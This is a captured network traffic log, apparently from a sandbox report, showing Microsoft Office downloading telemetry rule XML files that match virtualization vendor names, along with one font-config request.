2024-11-18 03:41:23 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:23 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034123Z-1866b5c5fbb7km9phC1DFWr2sc000000041g00000000e62p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:23 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:23 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 96c88eee-b01e-005c-317c-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034123Z-164f84587bf7k72dhC1DFWvczs00000005b0000000002axa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:23 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:23 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:23 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034123Z-1866b5c5fbbnjgfwhC1DFW3usc00000000d0000000001rhm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:23 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49800	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 03:41:24 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=219801 Date: Mon, 18 Nov 2024 03:41:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-18 03:41:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:24 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034124Z-1866b5c5fbbfkdfghC1DFW4sv400000004bg000000008mww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:24 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9af16547-401e-0015-3f09-370e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034124Z-1866b5c5fbb7lvschC1DFW4rm0000000055g00000000mv21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:24 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034124Z-164f84587bfsgfx9hC1DFWw1as000000054g000000009v0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:24 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034124Z-16547b76f7fqqjnnhC1DFWxv7400000003ng000000001dzm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:24 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034124Z-16547b76f7fffb7lhC1DFWdsxg000000059000000000t30b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:26 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034126Z-1866b5c5fbbqmbqjhC1DFWwgvc00000004p000000000rxug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:26 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 477f9298-401e-0029-0942-389b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034126Z-164f84587bftbpb6hC1DFWm4kg000000042g0000000057sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:26 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:26 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034126Z-16547b76f7fkz9l7hC1DFW35uc000000028000000000k1df x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
